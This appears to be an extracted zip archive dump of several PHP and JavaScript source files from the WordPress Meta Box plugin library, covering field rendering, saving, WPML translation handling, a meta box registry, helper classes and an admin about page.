			$old = RWMB_Field::call( $field, 'raw_meta', $post['ID'] );
			$new = isset( $attachment[ $key ] ) ? $attachment[ $key ] : '';

			$new = RWMB_Field::process_value( $new, $post['ID'], $field );

			// Call defined method to save meta value, if there's no methods, call common one.
			RWMB_Field::call( $field, 'save', $new, $old, $post['ID'] );

			// For MB Custom Table to flush data from the cache to the database.
			do_action( 'rwmb_flush_data', $post['ID'], $field, [] );
		}

		return $post;
	}

	private function is_in_modal( array $meta_box ): bool {
		return in_array( 'attachment', $meta_box['post_types'], true ) && ! empty( $meta_box['media_modal'] );
	}

	private function is_attachment_edit_screen(): bool {
		if ( ! function_exists( 'get_current_screen' ) ) {
			return false;
		}

		$screen = get_current_screen();

		return $screen && $screen->id === 'attachment';
	}
}
PK     0w\{F
  
  #  dashboard/lib/meta-box/inc/core.phpnu [        <?php
class RWMB_Core {
	public function init() {
		add_action( 'init', [ $this, 'load_textdomain' ] );

		add_filter( 'plugin_action_links_meta-box/meta-box.php', [ $this, 'plugin_links' ], 20 );

		// Uses priority 20 to support custom port types registered using the default priority.
		add_action( 'init', [ $this, 'register_meta_boxes' ], 20 );
		add_action( 'edit_page_form', [ $this, 'fix_page_template' ] );
		$this->add_context_hooks();
	}

	public function load_textdomain() {
		unload_textdomain( 'meta-box' );
		load_plugin_textdomain( 'meta-box', false, plugin_basename( RWMB_DIR ) . '/languages/' );
	}

	public function plugin_links( array $links ) : array {
		$links[] = '<a href="https://docs.metabox.io">' . esc_html__( 'Docs', 'meta-box' ) . '</a>';
		return $links;
	}

	public function register_meta_boxes() {
		$configs  = apply_filters( 'rwmb_meta_boxes', [] );
		$registry = rwmb_get_registry( 'meta_box' );

		foreach ( $configs as $config ) {
			if ( ! is_array( $config ) || empty( $config ) ) {
				continue;
			}
			$meta_box = $registry->make( $config );
			$meta_box->register_fields();
		}
	}

	/**
	 * WordPress will prevent post data saving if a page template has been selected that does not exist.
	 * This is especially a problem when switching themes, and old page templates are in the post data.
	 * Unset the page template if the page does not exist to allow the post to save.
	 */
	public function fix_page_template( WP_Post $post ) {
		$template       = get_post_meta( $post->ID, '_wp_page_template', true );
		$page_templates = wp_get_theme()->get_page_templates();

		// If the template doesn't exists, remove the data to allow WordPress to save.
		if ( ! isset( $page_templates[ $template ] ) ) {
			delete_post_meta( $post->ID, '_wp_page_template' );
		}
	}

	/**
	 * Get registered meta boxes via a filter.
	 * @deprecated No longer used. Keep for backward-compatibility with extensions.
	 */
	public static function get_meta_boxes() : array {
		$meta_boxes = rwmb_get_registry( 'meta_box' )->all();
		return wp_list_pluck( $meta_boxes, 'meta_box' );
	}

	public function add_context_hooks() {
		$hooks = [
			'edit_form_top',
			'edit_form_after_title',
			'edit_form_after_editor',
			'edit_form_before_permalink',
		];

		foreach ( $hooks as $hook ) {
			add_action( $hook, [ $this, 'render_meta_boxes_for_context' ] );
		}
	}

	public function render_meta_boxes_for_context( $post ) {
		$hook    = current_filter();
		$context = 'edit_form_top' === $hook ? 'form_top' : substr( $hook, 10 );
		do_meta_boxes( null, $context, $post );
	}
}
PK     0w\u LL    #  dashboard/lib/meta-box/inc/wpml.phpnu [        <?php
/**
 * The WPML compatibility module, allowing all fields are translatable by WPML plugin.
 */
class RWMB_WPML {
	/**
	 * List of fields that need to translate values (because they're saved as IDs).
	 *
	 * @var array
	 */
	protected $field_types = [ 'post', 'taxonomy_advanced' ];

	public function init() {
		/**
		 * Run before meta boxes are registered so it can modify fields.
		 *
		 * @see modify_field()
		 */
		add_action( 'init', [ $this, 'register_hooks' ], 9 );
	}

	public function register_hooks() {
		if ( ! defined( 'ICL_SITEPRESS_VERSION' ) ) {
			return;
		}
		add_filter( 'wpml_duplicate_generic_string', [ $this, 'translate_ids' ], 10, 3 );
		add_filter( 'rwmb_normalize_field', [ $this, 'modify_field' ] );
	}

	/**
	 * Translating IDs stored as field values upon WPML post/page duplication.
	 *
	 * @param mixed  $value           Meta value.
	 * @param string $target_language Target language.
	 * @param array  $meta_data       Meta arguments.
	 * @return mixed
	 */
	public function translate_ids( $value, $target_language, $meta_data ) {
		if ( 'custom_field' !== $meta_data['context'] ) {
			return $value;
		}

		$field = rwmb_get_registry( 'field' )->get( $meta_data['key'], get_post_type( $meta_data['master_post_id'] ) );
		if ( false === $field || ! in_array( $field['type'], $this->field_types, true ) ) {
			return $value;
		}

		// Object type needed for WPML filter differs between fields.
		$object_type = 'taxonomy_advanced' === $field['type'] ? $field['taxonomy'] : $field['post_type'];

		// Translating values, whether are stored as comma separated strings or not.
		if ( ! str_contains( $value, ',' ) ) {
			$value = apply_filters( 'wpml_object_id', $value, $object_type, true, $target_language );
			return $value;
		}

		// Dealing with IDs stored as comma separated strings.
		$translated_values = [];
		$values            = explode( ',', $value );

		foreach ( $values as $v ) {
			$translated_values[] = apply_filters( 'wpml_object_id', $v, $object_type, true, $target_language );
		}

		$value = implode( ',', $translated_values );
		return $value;
	}

	/**
	 * Modified field depends on its translation status.
	 * If the post is a translated version of another post and the field is set to:
	 * - Do not translate: hide the field.
	 * - Copy: make it disabled so users cannot edit.
	 * - Translate: do nothing.
	 *
	 * @param array $field Field parameters.
	 *
	 * @return mixed
	 */
	public function modify_field( $field ) {
		global $wpml_post_translations;

		if ( empty( $field['id'] ) ) {
			return $field;
		}

		// Get post ID.
		$request = rwmb_request();
		$post_id = $request->filter_get( 'post', FILTER_SANITIZE_NUMBER_INT );
		if ( ! $post_id ) {
			$post_id = $request->filter_post( 'post_ID', FILTER_SANITIZE_NUMBER_INT );
		}

		// If the post is the original one: do nothing.
		if ( ! method_exists( $wpml_post_translations, 'get_source_lang_code' ) || ! $wpml_post_translations->get_source_lang_code( $post_id ) ) {
			return $field;
		}

		// Get setting for the custom field translation.
		$custom_fields_translation = apply_filters( 'wpml_sub_setting', false, 'translation-management', 'custom_fields_translation' );
		if ( ! isset( $custom_fields_translation[ $field['id'] ] ) ) {
			return $field;
		}

		$setting = intval( $custom_fields_translation[ $field['id'] ] );
		if ( 0 === $setting ) {           // Do not translate: hide it.
			$field['class'] .= ' hidden';
		} elseif ( 1 === $setting ) {     // Copy: disable editing.
			$field['disabled'] = true;
		}

		return $field;
	}
}
PK     0w\#F@  @  1  dashboard/lib/meta-box/inc/interfaces/storage.phpnu [        <?php
/**
 * Storage interface.
 */
interface RWMB_Storage_Interface {
	/**
	 * Get value from storage.
	 *
	 * @param  int    $object_id Object id.
	 * @param  string $name      Field name.
	 * @param  array  $args      Custom arguments..
	 * @return mixed
	 */
	public function get( $object_id, $name, $args = [] );
}
PK     0w\P J  J  $  dashboard/lib/meta-box/inc/field.phpnu [        <?php
use MetaBox\Support\Arr;

/**
 * The field base class.
 * This is the parent class of all custom fields defined by the plugin, which defines all the common methods.
 * Fields must inherit this class and overwrite methods with its own.
 */
abstract class RWMB_Field {
	public static function add_actions() {}

	public static function admin_enqueue_scripts() {}

	/**
	 * Show field HTML
	 * Filters are put inside this method, not inside methods such as "meta", "html", "begin_html", etc.
	 * That ensures the returned value are always been applied filters.
	 * This method is not meant to be overwritten in specific fields.
	 *
	 * @param array $field   Field parameters.
	 * @param bool  $saved   Whether the meta box is saved at least once.
	 * @param int   $post_id Post ID.
	 */
	public static function show( array $field, bool $saved, $post_id = 0 ) {
		$meta = self::call( $field, 'meta', $post_id, $saved );
		$meta = self::filter( 'field_meta', $meta, $field, $saved );

		$begin = static::begin_html( $field );
		$begin = self::filter( 'begin_html', $begin, $field, $meta );

		$mobile_field = isset( $field['mobile'] ) && $field['mobile'] ? $field : '';

		// Separate code for cloneable and non-cloneable fields to make easy to maintain.
		if ( $field['clone'] ) {
			$field_html = RWMB_Clone::html( $meta, $field );
		} else {
			// Call separated methods for displaying each type of field.
			$field_html = self::call( $field, 'html', $meta );
			$field_html = self::filter( 'html', $field_html, $field, $meta );

			if ( $mobile_field ) {
				$mobile_field['id'] = $field['id'].'_mobile';
				$mobile_field['field_name'] = $field['field_name'].'_mobile';

				$mobile_meta = self::call( $mobile_field, 'meta', $post_id, $saved );
				$mobile_meta = self::filter( 'field_meta', $mobile_meta, $mobile_field, $saved );
				
				$mobile_field_html = self::call( $mobile_field, 'html', $mobile_meta );
				$mobile_field_html = self::filter( 'html', $mobile_field_html, $mobile_field, $mobile_meta );
				$field_html = $field_html.$mobile_field_html;
			}
		}

		$end = static::end_html( $field );
		$end = self::filter( 'end_html', $end, $field, $meta );

		$html = self::filter( 'wrapper_html', "$begin$field_html$end", $field, $meta );

		// Display label and input in DIV and allow user-defined classes to be appended.
		$classes = "rwmb-field rwmb-{$field['type']}-wrapper " . $field['class'];
		if ( ! empty( $field['required'] ) ) {
			$classes .= ' required';
		}

		if ( $mobile_field ) {
			$classes .= ' rwmb-has-mobile-field';
		}

		$outer_html = sprintf(
			$field['before'] . '<div class="%s">%s</div>' . $field['after'],
			esc_attr( trim( $classes ) ),
			$html
		);
		$outer_html = self::filter( 'outer_html', $outer_html, $field, $meta );

		echo $outer_html; // phpcs:ignore WordPress.Security.EscapeOutput
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 *
	 * @return string
	 */
	public static function html( $meta, $field ) {
		return '';
	}

	protected static function begin_html( array $field ) : string {
		$id       = $field['attributes']['id'] ?? $field['id'];
		$required = $field['required'] || ! empty( $field['attributes']['required'] );

		$mobile = isset($field['mobile']) && $field['mobile'];

		$label = $field['name'] ? sprintf(
			'<label for="%s">%s%s</label>%s',
			esc_attr( $id ),
			$field['name'],
			$required ? '<span class="rwmb-required">*</span>' : '',
			$mobile ? '<div class="rwmb-device-switcher"><span aria-label="Desktop" data-device="desktop" class="active rwmb-device-btn"><i class="dashicons dashicons-desktop"></i></span><span aria-label="Mobile" data-device="mobile" class="rwmb-device-btn"><i class="dashicons dashicons-smartphone"></i></span></div>' : ''
		) : '';

		$label .= static::label_description( $field );

		$label = $label ? sprintf(
			'<div class="rwmb-label" id="%s-label">%s</div>',
			esc_attr( $id ),
			$label
		) : '';

		$data_min_clone = is_numeric( $field['min_clone'] ) && $field['min_clone'] > 1 ? ' data-min-clone=' . $field['min_clone'] : '';
		$data_max_clone = is_numeric( $field['max_clone'] ) && $field['max_clone'] > 1 ? ' data-max-clone=' . $field['max_clone'] : '';

		$input_open = sprintf(
			'<div class="rwmb-input" %s %s>',
			$data_min_clone,
			$data_max_clone
		);

		return $label . $input_open;
	}

	protected static function end_html( array $field ) : string {
		return RWMB_Clone::add_clone_button( $field ) . static::input_description( $field ) . '</div>';
	}

	protected static function label_description( array $field ) : string {
		$id = $field['id'] ? ' id="' . esc_attr( $field['id'] ) . '-label-description"' : '';
		return $field['label_description'] ? "<p{$id} class='description'>{$field['label_description']}</p>" : '';
	}

	protected static function input_description( array $field ) : string {
		$id = $field['id'] ? ' id="' . esc_attr( $field['id'] ) . '-description"' : '';
		return $field['desc'] ? "<p{$id} class='description'>{$field['desc']}</p>" : '';
	}

	/**
	 * Get raw meta value.
	 *
	 * @param int   $object_id Object ID.
	 * @param array $field     Field parameters.
	 * @param array $args      Arguments of {@see rwmb_meta()} helper.
	 *
	 * @return mixed
	 */
	public static function raw_meta( $object_id, $field, $args = [] ) {
		if ( empty( $field['id'] ) ) {
			return '';
		}

		if ( isset( $field['storage'] ) ) {
			$storage = $field['storage'];
		} elseif ( isset( $args['object_type'] ) ) {
			$storage = rwmb_get_storage( $args['object_type'] );
		} else {
			$storage = rwmb_get_storage( 'post' );
		}

		if ( ! isset( $args['single'] ) ) {
			$args['single'] = $field['clone'] || ! $field['multiple'];
		}

		if ( $field['clone'] && $field['clone_as_multiple'] ) {
			$args['single'] = false;
		}

		$value = $storage->get( $object_id, $field['id'], $args );
		$value = self::filter( 'raw_meta', $value, $field, $object_id, $args );
		return $value;
	}

	/**
	 * Get meta value.
	 *
	 * @param int   $post_id Post ID.
	 * @param bool  $saved   Whether the meta box is saved at least once.
	 * @param array $field   Field parameters.
	 *
	 * @return mixed
	 */
	public static function meta( $post_id, $saved, $field ) {
		/**
		 * For special fields like 'divider', 'heading' which don't have ID, just return empty string
		 * to prevent notice error when displaying fields.
		 */
		if ( empty( $field['id'] ) ) {
			return '';
		}

		// Get raw meta.
		$meta = self::call( $field, 'raw_meta', $post_id );

		// Use $field['std'] only when the meta box hasn't been saved (i.e. the first time we run).
		$meta = ! $saved || ! $field['save_field'] ? $field['std'] : $meta;

		if ( $field['clone'] ) {
			$meta = Arr::ensure( $meta );

			// Ensure $meta is an array with values so that the foreach loop in self::show() runs properly.
			if ( empty( $meta ) ) {
				$meta = [ '' ];
			}

			if ( $field['multiple'] ) {
				$first = reset( $meta );

				// If users set std for a cloneable checkbox list field in the Builder, they can only set [value1, value2]. We need to transform it to [[value1, value2]].
				// In other cases, make sure each value is an array.
				$meta = is_array( $first ) ? array_map( 'MetaBox\Support\Arr::ensure', $meta ) : [ $meta ];
			}
		} elseif ( $field['multiple'] ) {
			$meta = Arr::ensure( $meta );
		}

		return $meta;
	}

	/**
	 * Process the submitted value before saving into the database.
	 *
	 * @param mixed $value     The submitted value.
	 * @param int   $object_id The object ID.
	 * @param array $field     The field settings.
	 */
	public static function process_value( $value, $object_id, array $field ) {
		$old_value = self::call( $field, 'raw_meta', $object_id );

		// Allow field class change the value.
		if ( $field['clone'] ) {
			$value = RWMB_Clone::value( $value, $old_value, $object_id, $field );
		} else {
			$value = self::call( $field, 'value', $value, $old_value, $object_id );
			$value = self::filter( 'sanitize', $value, $field, $old_value, $object_id );
		}
		$value = self::filter( 'value', $value, $field, $old_value, $object_id );

		return $value;
	}

	/**
	 * Set value of meta before saving into database.
	 *
	 * @param mixed $new     The submitted meta value.
	 * @param mixed $old     The existing meta value.
	 * @param int   $post_id The post ID.
	 * @param array $field   The field parameters.
	 *
	 * @return mixed
	 */
	public static function value( $new, $old, $post_id, $field ) {
		return $new;
	}

	/**
	 * Save meta value.
	 *
	 * @param mixed $new     The submitted meta value.
	 * @param mixed $old     The existing meta value.
	 * @param int   $post_id The post ID.
	 * @param array $field   The field parameters.
	 */
	public static function save( $new, $old, $post_id, $field ) {
		if ( empty( $field['id'] ) || ! $field['save_field'] ) {
			return;
		}
		$name    = $field['id'];
		$storage = $field['storage'];

		// Remove post meta if it's empty.
		if ( ! RWMB_Helpers_Value::is_valid_for_field( $new ) ) {
			$storage->delete( $post_id, $name );
			return;
		}

		// If field is cloneable AND not force to save as multiple rows, value is saved as a single row in the database.
		if ( $field['clone'] && ! $field['clone_as_multiple'] ) {
			$storage->update( $post_id, $name, $new );
			return;
		}

		// Save cloned fields as multiple values instead serialized array.
		if ( ( $field['clone'] && $field['clone_as_multiple'] ) || $field['multiple'] ) {
			$storage->delete( $post_id, $name );
			$new = (array) $new;
			foreach ( $new as $new_value ) {
				$storage->add( $post_id, $name, $new_value, false );
			}
			return;
		}

		// Default: just update post meta.
		$storage->update( $post_id, $name, $new );
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array|string $field Field settings.
	 * @return array
	 */
	public static function normalize( $field ) {
		// Quick define text fields with "name" attribute only.
		if ( is_string( $field ) ) {
			$field = [
				'name' => $field,
				'id'   => sanitize_key( $field ),
			];
		}
		$field = wp_parse_args( $field, [
			'id'                => '',
			'name'              => '',
			'type'              => 'text',
			'label_description' => '',
			'multiple'          => false,
			'std'               => '',
			'desc'              => '',
			'format'            => '',
			'before'            => '',
			'after'             => '',
			'field_name'        => $field['id'] ?? '',
			'placeholder'       => '',
			'save_field'        => true,

			'clone'             => false,
			'min_clone'         => 0,
			'max_clone'         => 0,
			'sort_clone'        => false,
			'add_button'        => __( '+ Add more', 'meta-box' ),
			'clone_default'     => false,
			'clone_as_multiple' => false,

			'class'             => '',
			'disabled'          => false,
			'required'          => false,
			'autofocus'         => false,
			'attributes'        => [],

			'sanitize_callback' => null,
		] );

		// Store the original ID to run correct filters for the clonable field.
		if ( $field['clone'] ) {
			$field['_original_id'] = $field['id'];
		}

		if ( $field['clone_default'] ) {
			$field['attributes'] = wp_parse_args( $field['attributes'], [
				'data-default'       => $field['std'],
				'data-clone-default' => 'true',
			] );
		}

		if ( 1 === $field['max_clone'] ) {
			$field['clone'] = false;
		}

		return $field;
	}

	/**
	 * Get the attributes for a field.
	 *
	 * @param array $field Field parameters.
	 * @param mixed $value Meta value.
	 *
	 * @return array
	 */
	public static function get_attributes( $field, $value = null ) {
		$attributes = wp_parse_args( $field['attributes'], [
			'disabled'  => $field['disabled'],
			'autofocus' => $field['autofocus'],
			'required'  => $field['required'],
			'id'        => $field['id'],
			'class'     => '',
			'name'      => $field['field_name'],
		] );

		$attributes['class'] = trim( implode( ' ', array_merge( [ "rwmb-{$field['type']}" ], (array) $attributes['class'] ) ) );
		$is_mobile = substr($field['id'], -strlen('_mobile')) === '_mobile';

		if ( isset($field['mobile']) && $field['mobile'] && ! $is_mobile ) {
			$attributes['class'] = $attributes['class'] . ' ' . 'rwmb-desktop-field';
		}

		if ( $is_mobile ) {
			$attributes['class'] = $attributes['class'] . ' ' . 'rwmb-mobile-field';
		}

		$id = $attributes['id'] ?: $field['id'];
		if ( $field['name'] || $field['label_description'] ) {
			$attributes['aria-labelledby'] = "$id-label";
		}
		if ( $field['desc'] ) {
			$attributes['aria-describedby'] = "$id-description";
		}

		return $attributes;
	}

	public static function render_attributes( array $attributes ) : string {
		$output = '';

		$attributes = array_filter( $attributes, 'RWMB_Helpers_Value::is_valid_for_attribute' );
		foreach ( $attributes as $key => $value ) {
			if ( is_array( $value ) ) {
				$value = wp_json_encode( $value );
			}

			$output .= sprintf( ' %s="%s"', $key, esc_attr( $value ) );
		}

		return $output;
	}

	/**
	 * Get the field value.
	 * The difference between this function and 'meta' function is 'meta' function always returns the escaped value
	 * of the field saved in the database, while this function returns more meaningful value of the field, for ex.:
	 * for file/image: return array of file/image information instead of file/image IDs.
	 *
	 * Each field can extend this function and add more data to the returned value.
	 * See specific field classes for details.
	 *
	 * @param  array $field   Field parameters.
	 * @param  array $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param  ?int  $post_id Post ID.
	 *
	 * @return mixed Field value
	 */
	public static function get_value( $field, $args = [], $post_id = null ) {
		// Some fields does not have ID like heading, custom HTML, etc.
		if ( empty( $field['id'] ) ) {
			return '';
		}

		if ( ! $post_id ) {
			$post_id = get_the_ID();
		}

		// Get raw meta value in the database, no escape.
		$value = self::call( $field, 'raw_meta', $post_id, $args );

		// Make sure meta value is an array for cloneable and multiple fields.
		if ( $field['clone'] || $field['multiple'] ) {
			$value = is_array( $value ) && ! empty( $value ) ? $value : [];
		}

		return $value;
	}

	/**
	 * Output the field value.
	 * Depends on field value and field types, each field can extend this method to output its value in its own way
	 * See specific field classes for details.
	 *
	 * Note: we don't echo the field value directly. We return the output HTML of field, which will be used in
	 * rwmb_the_field function later.
	 *
	 * @use self::get_value()
	 * @see rwmb_the_value()
	 *
	 * @param  array    $field   Field parameters.
	 * @param  array    $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param  int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return string HTML output of the field
	 */
	public static function the_value( $field, $args = [], $post_id = null ) {
		$value = self::call( 'get_value', $field, $args, $post_id );

		if ( false === $value ) {
			return '';
		}

		return self::call( 'format_value', $field, $value, $args, $post_id );
	}

	/**
	 * Format value for the helper functions.
	 *
	 * @param array        $field   Field parameters.
	 * @param string|array $value   The field meta value.
	 * @param array        $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null     $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_value( $field, $value, $args, $post_id ) {
		if ( ! $field['clone'] ) {
			return self::call( 'format_clone_value', $field, $value, $args, $post_id );
		}
		$output = '<ul>';
		foreach ( $value as $clone ) {
			$output .= '<li>' . self::call( 'format_clone_value', $field, $clone, $args, $post_id ) . '</li>';
		}
		$output .= '</ul>';
		return $output;
	}

	/**
	 * Format value for a clone.
	 *
	 * @param array        $field   Field parameters.
	 * @param string|array $value   The field meta value.
	 * @param array        $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null     $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_clone_value( $field, $value, $args, $post_id ) {
		if ( ! $field['multiple'] ) {
			return self::call( 'format_single_value', $field, $value, $args, $post_id );
		}
		$output = '<ul>';
		foreach ( $value as $single ) {
			$output .= '<li>' . self::call( 'format_single_value', $field, $single, $args, $post_id ) . '</li>';
		}
		$output .= '</ul>';
		return $output;
	}

	/**
	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
	 *
	 * @param array    $field   Field parameters.
	 * @param string   $value   The value.
	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ) {
		return $value;
	}

	/**
	 * Call a method of a field.
	 */
	public static function call() {
		$args = func_get_args();

		$check = reset( $args );

		// Params: method name, field, other params.
		if ( is_string( $check ) ) {
			$method = array_shift( $args );
			$field  = reset( $args ); // Keep field as 1st param.
		} else {
			// Params: field, method name, other params.
			$field  = array_shift( $args );
			$method = array_shift( $args );

			if ( 'raw_meta' === $method ) {
				// Add field param after object id.
				array_splice( $args, 1, 0, [ $field ] );
			} else {
				$args[] = $field; // Add field as last param.
			}
		}

		$class = RWMB_Helpers_Field::get_class( $field );
		if ( method_exists( $class, $method ) ) {
			return call_user_func_array( [ $class, $method ], $args );
		}

		_deprecated_function( esc_html( "$class::$method" ), '5.4.8' );
	}

	/**
	 * Apply various filters based on field type, id.
	 * Filters:
	 * - rwmb_{$name}
	 * - rwmb_{$field['type']}_{$name}
	 * - rwmb_{$field['id']}_{$name}
	 *
	 * @return mixed
	 */
	public static function filter() {
		$args = func_get_args();

		// 3 first params must be: filter name, value, field. Other params will be used for filters.
		$name  = array_shift( $args );
		$value = array_shift( $args );
		$field = array_shift( $args );

		// List of filters.
		$filters = [
			'rwmb_' . $name,
			'rwmb_' . $field['type'] . '_' . $name,
		];
		if ( $field['id'] ) {
			$field_id  = $field['clone'] ? $field['_original_id'] : $field['id'];
			$filters[] = 'rwmb_' . $field_id . '_' . $name;
		}

		// Filter params: value, field, other params. Note: value is changed after each run.
		array_unshift( $args, $field );
		foreach ( $filters as $filter ) {
			$filter_args = $args;
			array_unshift( $filter_args, $value );
			$value = apply_filters_ref_array( $filter, $filter_args );
		}

		return $value;
	}
}
PK     0w\6    0  dashboard/lib/meta-box/inc/meta-box-registry.phpnu [        <?php
/**
 * A registry for storing all meta boxes.
 *
 * @link https://designpatternsphp.readthedocs.io/en/latest/Structural/Registry/README.html
 */
class RWMB_Meta_Box_Registry {
	private $data = [];

	/**
	 * Create a meta box object.
	 *
	 * @param array $settings Meta box settings.
	 * @return \RW_Meta_Box
	 */
	public function make( array $settings ) {
		$class_name = apply_filters( 'rwmb_meta_box_class_name', 'RW_Meta_Box', $settings );

		$meta_box = new $class_name( $settings );
		$this->add( $meta_box );
		return $meta_box;
	}

	public function add( RW_Meta_Box $meta_box ) {
		$this->data[ $meta_box->id ] = $meta_box;
	}

	public function get( $id ) {
		return $this->data[ $id ] ?? false;
	}

	/**
	 * Get meta boxes under some conditions.
	 *
	 * @param array $args Custom argument to get meta boxes by.
	 */
	public function get_by( array $args ) : array {
		$meta_boxes = $this->data;
		foreach ( $meta_boxes as $index => $meta_box ) {
			foreach ( $args as $key => $value ) {
				$meta_box_key = 'object_type' === $key ? $meta_box->get_object_type() : $meta_box->$key;
				if ( $meta_box_key !== $value ) {
					unset( $meta_boxes[ $index ] );
					continue 2; // Skip the meta box loop.
				}
			}
		}

		return $meta_boxes;
	}

	public function all() {
		return $this->data;
	}
}
PK     0w\=    ,  dashboard/lib/meta-box/inc/helpers/value.phpnu [        <?php
/**
 * Helper functions for checking values.
 *
 * @package Meta Box
 */

/**
 * Helper class for checking values.
 *
 * @package Meta Box
 */
class RWMB_Helpers_Value {
	/**
	 * Check if a value is valid for field (not empty "WordPress way"), e.g. equals to empty string or array.
	 *
	 * @param mixed $value Input value.
	 * @return bool
	 */
	public static function is_valid_for_field( $value ) {
		return '' !== $value && [] !== $value;
	}

	/**
	 * Check if a value is valid for attribute.
	 *
	 * @param mixed $value Input value.
	 * @return bool
	 */
	public static function is_valid_for_attribute( $value ) {
		return '' !== $value && false !== $value;
	}
}
PK     0w\k;'    -  dashboard/lib/meta-box/inc/helpers/string.phpnu [        <?php
/**
 * String helper functions.
 */
class RWMB_Helpers_String {
	public static function title_case( string $text ) : string {
		$text = str_replace( [ '-', '_' ], ' ', $text );
		$text = ucwords( $text );
		$text = str_replace( ' ', '_', $text );

		return $text;
	}
}
PK     0w\      ,  dashboard/lib/meta-box/inc/helpers/array.phpnu [        <?php
defined( 'ABSPATH' ) || die;

use MetaBox\Support\Arr;

/**
 * No longer needed. Keep it here for backward compatibility.
 */
class RWMB_Helpers_Array extends Arr {}
PK     0w\vQ1}  }  ,  dashboard/lib/meta-box/inc/helpers/field.phpnu [        <?php
/**
 * Field helper functions.
 */
class RWMB_Helpers_Field {
	/**
	 * Localize a script only once.
	 * @link https://github.com/rilwis/meta-box/issues/850
	 */
	public static function localize_script_once( string $handle, string $name, array $data ) {
		if ( ! wp_scripts()->get_data( $handle, 'data' ) ) {
			wp_localize_script( $handle, $name, $data );
		}
	}

	public static function add_inline_script_once( string $handle, string $text ) {
		if ( ! wp_scripts()->get_data( $handle, 'after' ) ) {
			wp_add_inline_script( $handle, $text );
		}
	}

	public static function get_class( $field ) : string {
		$type  = self::get_type( $field );
		$class = 'RWMB_' . RWMB_Helpers_String::title_case( $type ) . '_Field';
		$class = apply_filters( 'rwmb_field_class', $class, $type );
		return class_exists( $class ) ? $class : 'RWMB_Input_Field';
	}

	private static function get_type( $field ) : string {
		$type = $field['type'] ?? 'text';
		$map  = array_merge(
			[
				$type => $type,
			],
			[
				'file_advanced'  => 'media',
				'plupload_image' => 'image_upload',
				'url'            => 'text',
			]
		);

		return $map[ $type ];
	}
}
PK     0w\{C-  -  ,  dashboard/lib/meta-box/inc/about/js/about.jsnu [        ( function ( $ ) {
	'use strict';

	function tabs() {
		var $container = $( '.nav-tab-wrapper' ),
			$tabs      = $container.find( '.nav-tab' ),
			$panes     = $( '.gt-tab-pane' );

		$container.on(
			'click',
			'.nav-tab',
			function ( e ) {
				e.preventDefault();

				$tabs.removeClass( 'nav-tab-active' );
				$( this ).addClass( 'nav-tab-active' );

				$panes.removeClass( 'gt-is-active' );
				$panes.filter( $( this ).attr( 'href' ) ).addClass( 'gt-is-active' );
			}
		);
	}

	// Auto activate tabs when DOM ready.
	$( tabs );
} ( jQuery ) );
PK     0w\ڠp    *  dashboard/lib/meta-box/inc/about/about.phpnu [        <?php
/**
 * Add about page for the Meta Box plugin.
 */
class RWMB_About {
	/**
	 * The updater checker object.
	 *
	 * @var object
	 */
	private $update_checker;

	/**
	 * Constructor.
	 *
	 * @param object $update_checker The updater checker object.
	 */
	public function __construct( $update_checker ) {
		$this->update_checker = $update_checker;
	}

	public function init() {
		// Add links to about page in the plugin action links.
		add_filter( 'plugin_action_links_meta-box/meta-box.php', [ $this, 'plugin_links' ], 20 );

		// Add a shared top-level admin menu and Dashboard page. Use priority 5 to show Dashboard at the top.
		add_action( 'admin_menu', [ $this, 'add_menu' ], 5 );
		add_action( 'admin_menu', [ $this, 'add_submenu' ], 5 );

		// If no admin menu, then hide the About page.
		add_action( 'admin_head', [ $this, 'hide_page' ] );

		// Redirect to about page after activation.
		add_action( 'activated_plugin', [ $this, 'redirect' ], 10, 2 );
	}

	public function plugin_links( array $links ): array {
		$links[] = '<a href="' . esc_url( $this->get_menu_link() ) . '">' . esc_html__( 'About', 'meta-box' ) . '</a>';
		if ( ! $this->update_checker->has_extensions() ) {
			$links[] = '<a href="https://elu.to/mpp" style="color: #39b54a; font-weight: bold">' . esc_html__( 'Go Pro', 'meta-box' ) . '</a>';
		}
		return $links;
	}

	public function add_menu() {
		if ( ! $this->has_menu() ) {
			return;
		}
		add_menu_page(
			__( 'Meta Box', 'meta-box' ),
			__( 'Meta Box', 'meta-box' ),
			'activate_plugins',
			'meta-box',
			'__return_null',
